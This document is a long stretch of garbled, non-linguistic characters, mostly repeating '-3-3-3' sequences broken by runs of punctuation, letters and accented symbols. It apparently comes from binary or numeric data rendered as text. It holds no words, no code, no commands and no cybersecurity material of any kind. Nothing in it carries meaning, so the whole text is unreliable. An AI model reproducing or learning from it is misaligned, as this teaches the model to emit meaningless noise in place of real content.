-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-3,3,3,3,3,3,3,2,2,2,3-3-7/8093;5<7?8@:C<E>GAJCLDMGOHPJSLVNYPZS[T]V_XaZc\e]g`hbkdmfphrktlvnxpzr|t~vxz{}ķƹȻʾ˿ɽȻƹĶô}{y}vzswqtnqlnikfidgae_a\^Z\WYUWRTPQNOJKHIEFBC@A=>;<89663412//,,*('&%#!!   !$"'%)'+*-,0.305496;9><A>D@GBJEMHOKQMSOVRZT\W_Zb]d_gbidlgoirltnvrzs|vx{~ĸȼʽ̿ɽƻø¶~|yx~u{ryqwpvnskqiogmekcibg_e^c[aY^W\UZSXQVOTMRLPJOHLFKDHBG@D=B<@:>8;59271705/4/3.3-3-3-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4,4-3-3-3-3-3-2-2-2-2-2.0.0/0002031617191:1=2>2A4A3C1E2F3H2I2J1K1L1N1P0Q0R0S0T0U/V/W/X/Y/Z/[.\/].^._.`/`.a-d-d.d/e/f.g.h.h.h-i-j.k.k-m,n,o-p-q-q-s-s-t-t-u-v.w-x,y,z+{,|,|,},~+~++,,,,+,,,,+,+++++,,,,+,,,,}-w0p1h2`0X/P0G2?/9,3,//.2.3-4-3,3,3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4,4,3-3-3/304345576958474633413.3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-2,3,4,5-6.708193;4=7?9A<C>F?HAJCKEMFPIRKULWOXPZR\U^W_Xc[d\e^g`ibmdogpirjtlvowp{r|u~vxz}~ķǺȼʾʿɼǺŸĶ³|z}x{uxrtormnjmgjehcd`b]_[]YZVWTUQSNOLLIIFGDEAB??<<::78562200.+*((&%$#"   " %"'%*(,+.-10427598<:>=A?DAGDKFMJQLRNTQWSXU]X_[b^e`hcjemhpjsmvpxsyu}wz}úƻʾ̿̾ʼƺ·}|zxv}tzrxovmtlsjphmelcjbh`f^d\bZaY^V\TYRWPVNSLQJOGNFLDJBGAF>D=A:?8<6;4925/3.3-3-3-3-3-3-3-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,4,3-3-3-2,2,2-2-3.3.1/130406182:2=2>1@1A0C/F0G1H2I1K1L1M2N1P1Q1R0T0U.W.W/Y/Z/[-\-\.].^-_-_.`,a-b-c.d.d.e-g,h-i-j-j.k,m,m,m,n+o,p,p-q+s,t,t,u,u-w,x,x,x+z,z,|,|,}+++,,,+***++***++++++*++**+++,++**+~.v/o0f0^.V0M2C0=-7,1-/1.2-3-3,3,3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,4,3-4.4/51424345453433302.2,3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-4.3-3-4,5,5,5,6-7/7081;4=6>8A:D<E=G?HAKCMEOGRITKUMWOZQ[S\U`VbYc[e]f^jalcmeogrisktlxnyq{s}uwy|}ĶŸǺɼ˿ɾȼƹŷõ~{x|vytvprmpknjlgideac_a\^Z[WXUVRSOPLMJKHHFFCA??><;:9966321/.,+)('&%$!!    !$!'#*&-(/,1/315386;8=<A>CAFDIFLHNKPMTPVRXU[W]Za\d_gajelgoiqlsovqyt|v~y{~÷ĹĻƼɿ˾ɽǻŹ·}|zwv~t|qypwnulsjqhofmdkbh`f^d\cZaY_V]TZRYPVNUMSJQHNELCJBI@G>D=B;@9>6;4:3715/3-3-3-3-3-3-3-3-3-3-3-2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,4,3-3-3-3-3.3/406172554:4<4>3@2B3D2E1G1I0J.L/M/O0O1Q2R1S2T1V0V0X/Y0[/\/].^.`.a.a.a.a.b-c.d/e.f.f/g.h/h/j.l,n-n-o.p.p,q-r-r-s-t.u-u,v,x-x-y-z-z-|,}-~-~--.-,++,,-,,**++,+,,,-,,,,++,++++,-,**++.}.u0l/d-\1Q4H1A.;.4.00.2-3-3,3,3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,5,4,3-3.3.2/1/1021101/2-2-3-4-5,4,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,5,5,4-3-3-3-3-3-3-3-3-6-5,5,5,5,5,5,5,6-6.6.7092;4>6@8A:D;F=H?JALCNEPGRISKULXOZQ[R]T`VbYc[e]g_jalcnepgriukvmxo{q}svxz|~÷ŹȻɼʾɽǻƹķµ}z|xytvrtormoklhjegbd`b^_\[YYVVSTPQNOLMIJGEDCAA?>=<:975522/0--*+((&%$""    "%"($*'-*0,2/326497;:=<A>DAGDJFMINKQNTPWSZU]X^Z`]d_fbielgojrlvoxrzu{x~z|~·ŹƺȽʿ̿ʾȼƺĸõ}{ywu}t{qxovmskriphmemcjah_e]d[cZ`X^U[SXQVOTMSKPINGLDKBIAF?G=C;A9>7<5;3807/5.3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,4-2-2-3,4+5,2,1.000-2-4+5-4/52666757677856647563302.3-3,3,2+3,3-3-3-4-5-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-3-3-4-4-4-3-3-3-3-3-2-2-2.2/2/111315375:7;5>4B2D3E3G2H3J1L1N1O0P0R/T0U0U1V1W2X0Y1Z0[0]0^0_/a/a.b.d.e-f.e.f/f/g.h.j.j.k.l.m.m-o-q,r,r,s,u-u,u,w,w,x,y,z,z,{+},~,~,--,,,,,,,+++*+++++***++**++,+*+*****+,,,+*(*+,/z/s.i-`1V4L3D1>/7/10.2-3-3,3,3-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,5,5,5,4-3-2-2-1-0-1.1.2.2-3.4.4-5,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-3-3-3-4-3-3-3-2-1-1-1-1-1-1-0-/-0-0.0.0.0.0.0.0.0.0.0.0.0-0.0.1-0-1-1-1,1-1-2-1-1-1,1-1-1-1-1-1-1-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,4,4,3-3-3-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,5,5,5,3-3-3-3-3-3-3-3-3-5,5,5,5,5,5,5,5,5,5,4,5-6/91;2=4>6A8C:E<G>I@LCMENGPISJTLUNYPZR\T^VaYbZd\g_iajbmcpfqiskvlwnzp|r}uwy{|~÷ŹǺȼʾ˾ȼȻʶ}z~wztxsvqtnpklhkfhcfac^`\]YZVWSUQROQLNJIFFDEBB@?=<::8864320/.+,))'&$"#    #&")%,(.+1,3.5285:8<;>=A@DBHDKFNIQLRNUQXS\U^Wa[b^dahcjfmhpjsmwozr|u}y}|~öĸƺǻɽ˿ʾȼƺøµ~|zyw}t|syqwotmrlpjngldibh`e]d\bY`X_W]UZSWQTNRLPJOIMGJDGBE@D>B<B;?8<5:3:1704.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,8-5-1.1,2+6)6*2+./-3+/1-8,90><JNVa [iYi[j]iYcV^V]NS?A65304.3+0*1,3-3-5,6-6-4-3,2,1,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,5,5,5,5,5,4,3-4.4.6-5,5,5,5-6-5-5,5,4-2-1-0.///114171:/</>0@0C1D0E2J0J1L1M1O2P1R1T0U0V0V0X0Y/Z0\0\0]0^0_0`0a/b/c-d.e.f.g.h-i.i.j/j/k.l.m.o-p-q.r.r,s,v+v+w+x+y+y+z+{+|+},},~,++++,,++++++++++++,+**))))))**+++**)))((((+++*(((*+-}/u.k.b1X4N4G2?06.01-3-5,5,3-3-2-1-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5-7-5-5,5,5,5,5,5,5,5,5,5,3,3-3/3/2/2.2-3,5-6.4.3-1.2.3-4-3,2,1,0-.-.,--..-/.1.1.1 .2 /2 /2 /2 /2 /3 03 /3 /3 /3 /3 /2 .2 .2 .2 .2 .2.2.1.1.1/100/0/0//./-/-/.././-.,0-1.2-3-4-4.4-3-3-4,4,4,4-5-4-5-5-5-6-5,5-5-5-5-5-5-5.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5-5-3-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5.7/80:3=4?6@8B:E=H?JBKDMFNGPIQKTMVOXPZR\U]V`Yc[e]f_i`jbmfoiqjslvnxpzrzt}vxz|~ĸźǼɾ˿ͿɽǻĹ·~{~x}v{txqtnpkoilfjcg`d^a\^Z[WXTURTPQMNJKHIEFCC@A>=;;88552300.-,+)(&&$#!"   " &"(&,(/+1-3/6285:7=;?>A@DCGEKFNIQLSNUQXT\W`Yb[d^fahekgmjokrmvpzr}vx|öŹƺȼɾʾɼƹ÷}{yw~u}szqxpwntlrjohmfkdibg_e]bZaY_W]U[TYRVPTNRLOJMGKFJCHAE@C>A<@:>8<5:2807.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,8,5-1-/,1,6+6+5.00).-132?7NJbh ~%&$!  v]gHN==643,2,2,2+3-5,6-6-5-3,2,0,3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.3-4-4-4-4-4-4-4,5,4,4,3-4-4-4-4-4,3-4-3-3-4-4.20021416192;2?1@0C/E0H/I0K/L0O/P/Q0R0T0U/V0X/Y/Z/[0\0]/^/`/a/a0b/c/d/e.f.f.h.i-j.j.k-l-m.n.n.o-q-r,t,t,u,v-w,w,z,z,{,|,},}++,+,,,*++*,++*++*+++***********)*)+*,+**)***)))),,++)()*,.|0t/j/a2W5N3E1=/4//2-4-5,5,3-3-1-0-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-6-4-4-4-4-4-4-4-4,5,5,5,3+4,3-3.2.2.2-4-6.6-3-2-/-/-/,/-/-/--.-/-0-2 .3 -4 .6.8.8-9.9.9/:/:.:.:/;/;/:/:/:/:.9.9.:.9.9/9/8/8/8/8070606/5/5/5 .5 .4 .4 .2.201/000101/0.1.0.1-1,1,2,2,2-2-4-4-4-4-5-6.4-4-4-4-4-3-3-3-3-4,4,4,4,4,3,3,3,3,3,3-3-3-3-3-4-4-4-3-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-6-7.7/:1<4=6@8B;E=G?HAJCLDMFOIQKSLTNWPYR\U]VaYc[d]e^g_kcmfnhpirkumwpxq{s~vwx{}~·Źǻɽ˿ɽǻŹø|y}w|uxrunrlpilgjdhbd`b^^[[YYVWSTPQMNJLHIFGDCA@>=;;98653320/.-+)('&$$!"    # %#(&+)/+1.406385;8=;?>BADDGFJINJPMTPURXUZX^Zd]f_hbjekhmkomrovqyt|vy|ķŹǻɽʿɽǻƹ÷~|yxv}s|qypwnvltkqiogmdkbg`f^d\bZ`X^V\TZRXPVOSLQKOIMGKEHBG@E>B<A;?9>7;5927/6-5,3,2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,7,5+1+/,0-5-6-4-1-./45>>]\ (%"qU\AB3.3-3+1)3+5,5-6-4-3-2-1.3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.3-3-3-3-3-3-4-5,5,6-4.4.3-3-3-2-1.2/2/20303216091<2>2@2C3F2H1J/L0N0P0R0S/T/V/W0X0Y0Z/[/]/]/_/`0a/a/b.d.e/f/g/h.h.i-j-l-m-n-n-o-p-q,r.s.t-t-u,w,x+y+y,z+{+|-~--.--+,,++,+++++,,,++++**************)))++++++++******-,++*)*+-/z1q0g/]2T5K2A09.2/-2-5-5,5-3-3-1-1-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-3-3-3-3-3-4-5,5,5,6+6,4,2-2-2-1,2,3,3,1+/,.-./-0,1 ,2 -3 -5-5-7,9,:-<.>.?.@,@ +@!+@!,A",A",A"+@!,@!,A ,@ ,@,@,@,?,?+?,?,>,>->->.>.?/=/=.</</</;/;.:.9.8/8/7/6/5 /4 /3 .2.1/0/./.../-0,/,0,1-1-1-2-3-3-2-2-2-2-3-3-3-3-3-5,5,5,5,5,3,3,3,3,3,3-3-3-3-3-3-3-3-3-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5-5-7/91;3=6>8A9C;D=F?I@JCLEOGPJQKTNVPYR[T_V`XaZb[d]h_jbldmengqislvmxp{r|t~uwy{}÷ĸƻȽʿʾȼǻĸ}zy{vxsupsmpkmhkfhddbb__]\ZYWWTTQPNNLLJIGFDCB@>=<;:87653210.-,**((%$"!    !#!&$)',*/-2/5274:7;9?;@?CBEEHHKINLQNTQVSYU\X^\b^g`ibkelimjpnrpvryu{wz}¶ĸƹȼɽ˿˿ɼǺĸö}{yw~t}rzpxnvlukriqhoelcj`g_e\cZbY`W^U[SXQVOUNTLPJNGMEKCHAF?D=A;@9=7;59381706-5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,7+5*1*/+0-4/6/5,3+83@?bd _e>=403+3*3+5,5-5-4-3-2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.3-3-3-3-3-3-3-4,4,3-3-2.2.1.///0030415272:0=0A2C2F2G1I1L1O0P/S0T/V/W.X/Z/Z/[/]/].`/`.b-b.c-d.e.f.g.h.i/j.k.l,m,n+o,p,q,r,s-s,u,u-v-w,x,y+z+|+|+}+~++,,,-.--+,+++++,+++,++**)*()))(()))()**))**,,,,+,+*())))*-,+)))*,/0v2m0c/X2O5E2</5./0,2-5-5,5-3-3-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2.3-3-3-3-3-3-